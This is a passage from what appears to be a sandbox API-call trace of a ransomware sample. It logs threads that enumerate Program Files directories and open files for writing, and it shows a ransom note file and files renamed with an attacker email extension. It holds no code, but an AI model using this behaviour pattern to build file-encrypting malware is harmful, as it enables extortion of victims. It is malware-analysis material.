Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0147.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4bbc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0 [0147.131] FindNextFileW (in: hFindFile=0x93b0b8, lpFindFileData=0x9b8d20 | out: lpFindFileData=0x9b8d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0147.131] FindClose (in: hFindFile=0x93b0b8 | out: hFindFile=0x93b0b8) returned 1 [0147.131] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b8d20) returned 1 [0147.131] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9c60) returned 1 [0147.131] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904600) returned 1 Thread: id = 2522 os_tid = 0x1408 [0146.177] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm")) returned 0x20 [0146.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.476] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.476] GetLastError () returned 0x5 [0146.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.476] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c1a8) returned 1 Thread: id = 2523 os_tid = 0x140c [0146.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x933e98 [0146.178] wcscpy (in: _Dest=0x933e98, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0146.178] wcscat (in: _Dest=0x933e98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0146.178] wcscat (in: _Dest=0x933e98, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*" [0146.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b7778 [0146.178] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x9b7778 | out: lpFindFileData=0x9b7778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da350 [0146.179] wcscmp (_String1=".", _String2=".") returned 0 [0146.179] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x9b7778 | out: lpFindFileData=0x9b7778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.179] wcscmp (_String1="..", _String2=".") returned 1 [0146.179] wcscmp (_String1="..", _String2="..") returned 0 [0146.179] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x9b7778 | out: lpFindFileData=0x9b7778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fb3400, ftCreationTime.dwHighDateTime=0x1c9b093, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2fb3400, ftLastWriteTime.dwHighDateTime=0x1c9b093, nFileSizeHigh=0x0, nFileSizeLow=0xa2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0146.179] wcscmp (_String1="msmdsrv.rll", _String2=".") returned 1 [0146.179] wcscmp (_String1="msmdsrv.rll", _String2="..") returned 1 [0146.179] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c6980 [0146.179] wcscpy (in: _Dest=0xd4c6980, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0146.179] wcscat (in: _Dest=0xd4c6980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0146.179] wcscat (in: _Dest=0xd4c6980, _Source="msmdsrv.rll" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" [0147.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c6980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0147.880] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x9b7778 | out: lpFindFileData=0x9b7778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95177b00, ftCreationTime.dwHighDateTime=0x1c8e1ea, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95177b00, ftLastWriteTime.dwHighDateTime=0x1c8e1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0147.880] wcscmp (_String1="msolui100.rll", _String2=".") returned 1 [0147.880] wcscmp (_String1="msolui100.rll", _String2="..") returned 1 [0147.880] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c6c80 [0147.880] wcscpy (in: _Dest=0xd4c6c80, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0147.880] wcscat (in: _Dest=0xd4c6c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0147.880] wcscat (in: _Dest=0xd4c6c80, _Source="msolui100.rll" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" [0147.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c6c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1498 [0147.881] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x9b7778 | out: lpFindFileData=0x9b7778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95177b00, ftCreationTime.dwHighDateTime=0x1c8e1ea, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95177b00, ftLastWriteTime.dwHighDateTime=0x1c8e1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0147.881] FindClose (in: hFindFile=0x8da350 | out: hFindFile=0x8da350) returned 1 [0147.882] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b7778) returned 1 [0147.882] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933e98) returned 1 [0147.882] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935e98) returned 1 Thread: id = 2524 os_tid = 0x1410 [0146.179] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9ac430 [0146.179] wcscpy (in: _Dest=0x9ac430, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0146.180] wcscat (in: _Dest=0x9ac430, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0146.180] wcscat (in: _Dest=0x9ac430, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*" [0146.180] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b9928 [0146.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fd9c740, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fd9c740, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b5b8 [0146.477] wcscmp (_String1=".", _String2=".") returned 0 [0146.477] FindNextFileW (in: hFindFile=0x93b5b8, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fd9c740, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fd9c740, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.477] wcscmp (_String1="..", _String2=".") returned 1 [0146.477] wcscmp (_String1="..", _String2="..") returned 0 [0146.477] FindNextFileW (in: hFindFile=0x93b5b8, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd50480, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x9fd50480, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fd765e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0146.477] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0146.477] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0146.477] FindNextFileW (in: hFindFile=0x93b5b8, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="WORKFL~1.CD4")) returned 1 [0146.477] wcscmp (_String1="Workflow.Targets.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0146.477] wcscmp (_String1="Workflow.Targets.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0146.477] FindNextFileW (in: hFindFile=0x93b5b8, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="WORKFL~2.CD4")) returned 1 [0146.477] wcscmp (_String1="Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0146.478] wcscmp (_String1="Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0146.478] FindNextFileW (in: hFindFile=0x93b5b8, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="WORKFL~2.CD4")) returned 0 [0146.478] FindClose (in: hFindFile=0x93b5b8 | out: hFindFile=0x93b5b8) returned 1 [0146.478] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b9928) returned 1 [0146.478] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac430) returned 1 [0146.478] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e77a8) returned 1 Thread: id = 2525 os_tid = 0x1414 [0146.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9ab558 [0146.182] wcscpy (in: _Dest=0x9ab558, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0146.182] wcscat (in: _Dest=0x9ab558, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0146.182] wcscat (in: _Dest=0x9ab558, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*" [0146.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9ba798 [0146.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f50 [0146.182] wcscmp (_String1=".", _String2=".") returned 0 [0146.182] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.182] wcscmp (_String1="..", _String2=".") returned 1 [0146.182] wcscmp (_String1="..", _String2="..") returned 0 [0146.182] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0146.182] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0146.182] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0146.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4158 [0146.182] wcscpy (in: _Dest=0x8f4158, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0146.182] wcscat (in: _Dest=0x8f4158, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0146.182] wcscat (in: _Dest=0x8f4158, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" [0151.644] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0151.644] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0151.644] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.644] GetLastError () returned 0x5 [0151.644] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0151.645] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4158) returned 1 [0151.645] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0151.645] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0151.645] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0151.645] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc2) returned 0x938cb8 [0151.645] wcscpy (in: _Dest=0x938cb8, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0151.645] wcscat (in: _Dest=0x938cb8, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0151.645] wcscat (in: _Dest=0x938cb8, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" [0151.645] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0151.645] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0151.646] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.646] GetLastError () returned 0x5 [0151.646] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0151.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938cb8) returned 1 [0151.646] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0151.646] FindClose (in: hFindFile=0x8d9f50 | out: hFindFile=0x8d9f50) returned 1 [0151.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ba798) returned 1 [0151.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab558) returned 1 [0151.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c8590) returned 1 Thread: id = 2526 os_tid = 0x1418 [0146.183] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0146.484] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0146.484] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.484] GetLastError () returned 0x5 [0146.484] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0146.484] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6680) returned 1 Thread: id = 2527 os_tid = 0x141c [0146.184] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0146.485] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0146.485] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.485] GetLastError () returned 0x5 [0146.485] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0146.485] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dcee0) returned 1 Thread: id = 2528 os_tid = 0x1420 [0146.184] RtlAllocateHeap 